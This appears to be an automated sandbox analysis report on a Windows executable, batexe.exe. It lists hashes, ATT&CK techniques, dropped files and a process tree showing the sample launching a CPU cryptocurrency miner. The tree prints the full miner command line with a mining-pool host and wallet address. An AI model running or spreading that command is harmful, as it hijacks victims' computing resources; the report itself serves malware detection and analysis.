73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
300s
max time network
305s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
17-02-2024 08:43

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
4740	b2e.exe
2140	cpuminer-sse2.exe

Loads dropped DLL 6 IoCs

pid	Process
2140	cpuminer-sse2.exe
2140	cpuminer-sse2.exe
2140	cpuminer-sse2.exe
2140	cpuminer-sse2.exe
2140	cpuminer-sse2.exe
2140	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4072-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4072 wrote to memory of 4740	4072	batexe.exe	85
PID 4072 wrote to memory of 4740	4072	batexe.exe	85
PID 4072 wrote to memory of 4740	4072	batexe.exe	85
PID 4740 wrote to memory of 1692	4740	b2e.exe	86
PID 4740 wrote to memory of 1692	4740	b2e.exe	86
PID 4740 wrote to memory of 1692	4740	b2e.exe	86
PID 1692 wrote to memory of 2140	1692	cmd.exe	89
PID 1692 wrote to memory of 2140	1692	cmd.exe	89

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4072
- C:\Users\Admin\AppData\Local\Temp\69B2.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\69B2.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\69B2.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4740
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7635.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1692
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2140

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\69B2.tmp\b2e.exe

Filesize
4.3MB

MD5
2b2b67fa276762c09cc51bbaaa7ad5d4

SHA1
8dc0790875a0a5fa33833ef43d61fb9013e1d6f4

SHA256
6367ea6af16d789f2e6f17a9de23bab5e1032606a6a9e04534971dde58ff405f

SHA512
2cc163fc4750488e9e0987c8e4837499c73260d4b41dd34537282242e185e382c44811ce0700cd56c67ee756c96e047f956c836801db410e1154835954057c6c

Download Submit
C:\Users\Admin\AppData\Local\Temp\69B2.tmp\b2e.exe

Filesize
3.6MB

MD5
35148d204afedc81b1960bd17079414a

SHA1
d46f552162ff318ab71e4c4273b96668712b3599

SHA256
5192c7b6f4c17d3bb9c7a8e9e17ecad53ae4c9a0a466e6d04059a379cfce237b

SHA512
7a2be17be5fe8fc8ed30d34107682334a8e7d53aa4517bd29628441ebe96d0f286c51385da6e25d3a9c039dfb4c94dae306d5fb18de50047dfdfe3376f54107a

Download Submit
C:\Users\Admin\AppData\Local\Temp\69B2.tmp\b2e.exe

Filesize
3.3MB

MD5
53512b3f36bdb3f75b13519b1b8a0f8c

SHA1
2dae9c50cb1ade95161b12dadfb4adbbc5cfdccd

SHA256
9b085ebfa27b0aa4318a93f4da5845b4b0ae866bd6c191ba3040409788a0d7d6

SHA512
5fd19869cfc26a2a67fab98d175ab8241537a69fa93844ce9740c10f765346680f599c23742210f000513ee48fa49547f4659d3b7cf67bbc8353244c6a966790

Download Submit
C:\Users\Admin\AppData\Local\Temp\7635.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.1MB

MD5
686be3cb985ba71437b2f68b7bd81e48

SHA1
7e285d62c32cb8a5bd3a7ffbffd6bb68f9b57c02

SHA256
b8eacfa871dd286422b7b1bd431a8cf51c9d43c5c6374fccceb96c9501c86670

SHA512
6677ee8aedbf138b5ecb05da9104a0e5d81832d9d15a22fc7ee56540d86e937f300fd4b500c4e63470cc4a8b0e4c29f6bb9d15d083fe6b734ae37e2db6dfbe47

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.1MB

MD5
d3707009715c0bf38cc5ea13fd3ef5d4

SHA1
a1dbe8c82278724e8f9a42b4ed3f9adb3f51c573

SHA256
d7feec0698d5f16c302b33c984fd4eeaca2ef79cbcdae83d0f3bae4d752c0adb

SHA512
6cf0ef5f4f2865e77576e37960b3b0f2274a5aea940e17fc124f9ff2346f92832b3c9b675f961b8d1233f75d443c281481d9fc0ca4dc10c3bf32abfaa7b34105

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
340ea9a11585920f581cdaca2060a867

SHA1
3ed26fa79a965706b6eea84ad509d5d0d3e16d00

SHA256
50f2cda8021d328cff20171c6366bd800203aabaaa45e39d3262fa1a2660c388

SHA512
3739224b26f3d24b98bc7abb0bdc6150a1bb64ad4f7552f32cb566a9579c15e22efd367232e7dbfa85a64225f703db4fda48e809e0a4b180cd6aad18d56f8c6d

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
939KB

MD5
2e5944a2330a0ce319352203fb2e98e3

SHA1
035d3cab288e580bc361c50d742034357c9fd246

SHA256
fd71c53e9b03c6ba1c8f49a164c78070345447641e7588a1b5eacd17a28c117d

SHA512
da5a08be691364aad0eece415232d339da473837148b85da121f3c59a6144efba620b9c00ad0f17e02b6cdc3565ba6a613ca5eaf268c2392c447579ccd266c3f

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
973KB

MD5
14b3ce7be84f19e5cfb7f8b615de9f4c

SHA1
5839fdb455a43a38b274ef2cf2338bc5ef482196

SHA256
f73a7bea9dce268d47679b47ce76686069c0bd0610e5ab1034586706ed11103d

SHA512
82b8d66dac4abd975997d98b588cb1ece63a43c6b05a519ef1225a117268fad5daeaafa3c583974826ec899d3cf15778f5b468f2647be15fa204f8b44b7869c6

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.2MB

MD5
80eeb1a1f84a03ff0c5c15781c23a768

SHA1
616b3e4b17491b33935e889308b0e76cb7ffd888

SHA256
6505df6f7b71c8323b776ffa56074b597cbad6bd7d3fc7c228305d52af24f156

SHA512
f87dc71f67f040e80a8c19855a8e0f6641a8b9cf999e237acbddeaf6ecf8f35358542d56b100834ad416081425be12ca0c84ee2ce14bad7c74fb67af0f8f943e

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1020KB

MD5
51c686a359c0bfaf49f6a92fbf798992

SHA1
889feef496a781a0e4d982113300855d85feb8b1

SHA256
c98e0388c62553a20eebfc75a9fe4677db2e165397e156c227f1aac0cbe70336

SHA512
7befb5725270b13420704902d07dfde981b187dadf42f34a459fede2a6456e41cd8b39122bb8201b45ed303180a32cdd86d001769c3b52356b2d3c0f12587f85

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
446KB

MD5
7b83ed1f0136978b0e6a595b09bab4bf

SHA1
ca313585683111400fcbe40d81f76ebacd8dcc48

SHA256
ff8bcdf7f82bf72c85c873cac5c62714ceae5fcf0d7640893de082bb94d3080a

SHA512
acad87cd9cab8c845d100aa14174f176ae63307b8ff331a64e3bd22f5c3acb5a83cd0c7d7d26b00442722784abd843e0a14614e7949112c1c285674d4e85fe9e

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/2140-52-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/2140-46-0x000000006FC40000-0x00000000714F5000-memory.dmp

Filesize
24.7MB

Download
memory/2140-106-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2140-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2140-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2140-47-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/2140-48-0x0000000000870000-0x000000000092C000-memory.dmp

Filesize
752KB

Download
memory/2140-49-0x0000000051D90000-0x0000000051E28000-memory.dmp

Filesize
608KB

Download
memory/2140-50-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2140-42-0x0000000000870000-0x000000000092C000-memory.dmp

Filesize
752KB

Download
memory/2140-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2140-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2140-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2140-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2140-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2140-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2140-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2140-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4072-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4740-7-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4740-55-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download